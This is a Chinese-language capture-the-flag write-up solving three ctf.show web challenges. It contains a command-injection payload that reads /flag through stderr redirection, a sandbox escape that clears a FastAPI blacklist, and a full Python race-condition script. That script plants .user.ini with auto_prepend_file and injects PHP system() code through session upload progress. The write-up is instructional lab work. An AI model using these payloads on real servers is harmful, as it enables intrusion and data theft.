原谅4

源码

<?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);

发现xbx可以rce

ls 发现

index.php yuanliang_4_xxx.zip

并且flag在/目录里面

直接cat发现不行

我们ls /bin目录

/bin 目录是 Unix/Linux 系统中的一个重要目录,它存放着许多常用的可执行文件(二进制文件)。这些文件通常是系统管理员或普通用户经常使用的基本命令和应用程序

最终发现sh rm ls 这三个命令可以执行

sh是一个轻量级的shell,相比于bash等更高级的shell,它提供了更基础的功能。但它仍然是许多系统管理任务的首选shell。

明显让我们用sh来做题目

sh也可以像cat一样读取文件内容但是有一点不同

[root@iZbp1g5j7wkdznqpfv918wZ ctf]# cat Gu0f3n.txt
Gu0f3n
[root@iZbp1g5j7wkdznqpfv918wZ ctf]# sh Gu0f3n.txt
Gu0f3n.txt: line 1: Gu0f3n: command not found

他会报错 command not found

因为当命令不被正常执行则会报错

这里我们可以用linux重定向错误输出

我们都知道在文件描述符中0,1,2 分表示标准输入,标准输出,标准错误输出

其次我们需要了解规律

1.标准输入0、输出1、错误2需要分别重定向,一个重定向只能改变它们中的一个
2. 标准输入0和标准输出1可以省略。(当其出现重定向符号左侧时)
3. 文件描述符在重定向符号左侧时直接写即可,在右侧时前面加&
4. 文件描述符与重定向符号之间不能有空格

参考文章:https://blog.csdn.net/weixin_29491885/article/details/111050189

那么这道题目我们

用sh读取/flag的内容将他的报错输出

sh /flag 2>%261

需要姜&url编码为%26

paylod:

xbx=sh%20/flag%202>%261

原谅5_fastapi2

打开题目

{“你好”:“fastapi2”}

fast api2

首先就是了解fastapi2这个东西

FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建基于 Python 的 **API**。它是一个开源项目,基于 Starlette 和 Pydantic 库构建而成,提供了强大的功能和高效的性能。

在 FastAPI 中,/docs 路由提供了一个自动生成的交互式 API 文档界面。这是 FastAPI 的一个非常有用的特性,用于查看和测试 API 的各个端点

在更具题目给的提示

进入路由

发现三个函数

其中第二个calc

根据提示给的黑名单

我们展示全局变量

list(globals())

发现可疑的变量youdontknow

展示这个变量发现一堆过滤得到关键词

我们用

youdontknow.clear()

clear掉过滤的关键词语

最后直接读flag

open('/flag').read()

fastapi2 for 阿狸

和5一样

clear掉

嗨嗨

原谅6_web3

<?php
error_reporting(0);
highlight_file(__FILE__);
include('waf.php');
$file = $_GET['file'] ?? NULL;
$content = $_POST['content'] ?? NULL;
(waf_file($file)&&waf_content($content))?(file_put_contents($file,$content)):NULL;

简单来说就是你输进去的文件不在waf的绕过里面就可以了

绕过的东西很多但是没有绕过**.user.ini**

.user.ini 文件是PHP 中用于配置特定目录的设置的特殊文件。 它类似于Apache 服务器中的 . htaccess 文件,但仅适用于PHP。 .user.ini 文件允许用户为特定目录定义PHP 配置指令,这些配置指令将在该目录及其所有子目录中的PHP 脚本执行时生效。

.user.ini 文件的主要目的是为了允许非管理员用户自定义某些 PHP 配置选项,而不需要访问主 php.ini 文件。这样,不同的应用程序或用户可以在自己的目录中设置特定的 PHP 配置,而不影响整个服务器的配置。

这里的考点就是session和.user.ini的条件竞争

参考文章:https://www.freebuf.com/vuls/202819.html

auto_prepend_file 表示在php程序加载应用程序前加载指定的php文件

GET:

?file=.user.ini

POST:

auto_prepend_file=/tmp/sess_Gu0f3n

然后用下大佬的脚本

# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading

sessid = 'Gu0f3n'
url = "http://c41b9ab0-e1f5-4e05-b75c-a7ea64fa3d91.challenge.ctf.show/"


def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat ./flag.php');?>"},
files={'file': ('Gu0f3n.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.get(url+"waf.php")
if "upload_progress" in resp.text:
print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
# 第一步上传.user.ini文件,将我们的session文件内容添加到默认头
y4tacker = {
"content": "auto_prepend_file=/tmp/sess_" + sessid
}
session.post(url + "?file=.user.ini", data=y4tacker)
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

结果

//$flag='ctfshow{d78ac2f0-9b57-4159-a162-6b944e7b495b}';
|a:5:{s:10:"start_time";i:1721961458;s:14:"content_length";i:51487;s:15:"bytes_processed";i:5259;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:10:"Gu0f3n.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1721961458;s:15:"bytes_processed";i:5259;}}}